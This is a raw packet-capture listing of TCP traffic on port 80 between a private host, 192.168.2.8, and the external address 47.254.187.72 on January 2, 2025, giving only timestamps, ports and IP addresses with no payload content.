Jan 2, 2025 20:20:02.779501915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779517889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779527903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779562950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779603958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779616117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779628038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779639959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779647112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779654026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779665947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779671907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779680014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779692888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779702902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779705048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779717922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779721975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779731035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779753923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779757977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779772043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779778004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779783964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779795885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779805899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779808044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779823065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779829025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779834032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779848099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779850960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779863119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779875040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779884100 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779886961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779897928 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779910088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779915094 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779930115 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779942036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779944897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779958963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779963970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779974937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779978991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.779989958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.779990911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780014992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780019045 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.780026913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780040979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780045986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.780051947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780065060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780072927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.780078888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780093908 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780101061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.780106068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780118942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780132055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780133963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.780144930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780155897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780157089 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.780169010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780184984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780193090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.780196905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780210972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780219078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.780225039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780237913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780237913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.780251980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.780273914 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.780298948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.820693970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.820718050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.820730925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.820828915 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.826061964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.826075077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.826088905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.826101065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.826117992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.826142073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.826212883 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.833544016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.833606958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.834714890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.834798098 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.835469961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.835483074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.835494995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.835536003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.835536003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.838399887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.839535952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.839607000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.840215921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.840230942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.840243101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.840277910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.840326071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.844230890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.844244957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.844341040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.844960928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.844973087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.845046043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.848929882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.848943949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.848956108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.849004984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.849088907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.849682093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.849694014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.849739075 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.849782944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.853673935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.853688002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.853734970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.853764057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.854393959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.854408026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.854418993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.854430914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.854460001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.854460001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.854501009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.858427048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.858444929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.858494043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.858494043 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.859091043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.859105110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.859158039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.859215975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.863114119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.863127947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.863215923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.863248110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.863828897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.863841057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.863852978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.863874912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.863905907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.867877007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.867891073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.867943048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.867943048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.868588924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.868602991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.868613958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.868645906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.868688107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.872613907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.872627974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.872641087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.872710943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.872744083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.873311043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.873323917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.873375893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.877331018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.877350092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.877367020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.877388000 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.877428055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.877428055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.878037930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.878052950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.878063917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.878098965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.878098965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.882028103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.882047892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.882117033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.882755995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.882770061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.882781029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.882838011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.882900953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.886745930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.886758089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.886768103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.886780977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.886811972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.886847019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.887445927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.887459040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.887516022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.887564898 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.891501904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.891520023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.891531944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.891542912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.891597033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.891638041 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.892582893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.892599106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.892682076 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.896287918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.896303892 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.896317005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.896404028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.896404028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.897308111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.897324085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.897403002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.897403002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.901057959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.901071072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.901082993 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.901141882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.901141882 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.902065992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.902080059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.902091026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.902142048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.902142048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.905776978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.905791044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.905853033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.906824112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.906836987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.906852007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.906886101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.906941891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.910552025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.910567999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.910604954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.910640955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.911586046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.911601067 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.911612034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.911644936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.911667109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.915254116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.915277958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.915326118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.915326118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.916316032 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.916331053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.916348934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.916404009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.916404009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.919944048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.919956923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.919997931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.920016050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.921045065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.921057940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.921107054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.921107054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.924642086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.924657106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.924668074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.924776077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.924776077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.925841093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.925854921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.925900936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.925925970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.929421902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.929440022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.929451942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.929486036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.929522038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.930681944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.930696964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.930754900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.930778027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.934137106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.934154034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.934180975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.934211969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.935411930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.935425043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.935435057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.935463905 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.935494900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.938879013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.938891888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.938930035 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.938967943 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.940121889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.940135956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.940175056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.940202951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.943595886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.943615913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.943629026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.943680048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.943681002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.944837093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.944852114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.944881916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.944911957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.948354959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.948369026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.948391914 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.948474884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.948474884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.949541092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.949554920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.949661016 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.953100920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.953114033 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.953175068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.954251051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.954262972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.954274893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.954376936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.954376936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.957833052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.957845926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.957880974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.957902908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.958951950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.958965063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.959043026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.959043026 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.962567091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.962580919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.962593079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.962645054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.962645054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.963787079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.963804007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.963850021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.963876009 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.967281103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.967295885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.967308044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:02.967334032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.967375040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:02.968507051 CET	80	49704	47.254.187.72	192.168.2.8
